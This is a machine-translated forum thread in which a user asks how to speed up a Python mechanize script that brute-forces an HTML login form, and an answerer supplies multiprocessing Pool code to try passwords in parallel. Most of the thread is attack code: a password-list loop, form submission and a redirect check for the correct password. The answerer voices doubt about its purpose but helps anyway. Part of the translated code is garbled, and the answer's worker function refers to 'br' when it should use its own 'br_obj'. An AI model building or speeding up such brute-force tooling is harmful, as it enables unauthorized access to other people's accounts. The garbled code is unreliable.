如何在for-python循环中使用多处理

我有一个使用python mechanize和bruteforce html表单的脚本。这是一个for循环，用于检查“PassList”中的每个密码，并通过检查重定向的url运行，直到它与当前密码匹配为止。我如何在这里实现多处理

for x in PasswordList:          
    br.form['password'] = ''.join(x)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

    if response.geturl()=="http://192.168.1.106/success.html":
        #url to which the page is redirected after login
        print "\n Correct password is ",''.join(x)
        break

来自多处理导入池的

def process_bruteforce（密码列表）：
如果uuuu name uuuuuu='\uuuuuuu main\uuuuuuu'：
池=池（进程=4）#每个核心进程
is_connected=pool.map（进程\u bruteforce，密码列表）

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我会尝试类似的方法

我希望这不是出于恶意目的

我从未使用过python mechanize，但鉴于您没有答案，我可以分享我所知道的，您可以相应地修改它

一般来说，它需要有自己的函数，然后调用pool over。我不知道你的br对象，但我可能会建议有很多这样的对象，以防止任何冲突。（可以尝试使用相同的br对象tho，相应地修改代码）

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再一次，这不是一个完整的答案，只是一个关于如何进行多处理的一般指南

我想这不是为了恶意目的，我的意思是，它不够复杂，不足以真正有效，如果目标有验证码，它将不起作用。谢谢你的回复。这只是出于测试目的，没有恶意，这里br=mechanize.Browser（）

from multiprocessing import Pool

def process_bruteforce(PasswordList):
    <process>

if __name__ == '__main__':
    pool = Pool(processes=4)              # process per core
    is_connected = pool.map(process_bruteforce, PasswordList) 

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...]

from multiprocessing import Pool
from multiprocessing import cpu_count

def crackPassword(lst):
    br_obj = lst[0]
    password = lst[1]
    br.form['password'] = ''.join(password)
    print "Bruteforce in progress.. checking : ",br.form['password']
    response=br.submit()

 pool = Pool(cpu_count() * 2)
 crack_password = pool.map(crackPassword,list_of_br_and_passwords)
 pool.close()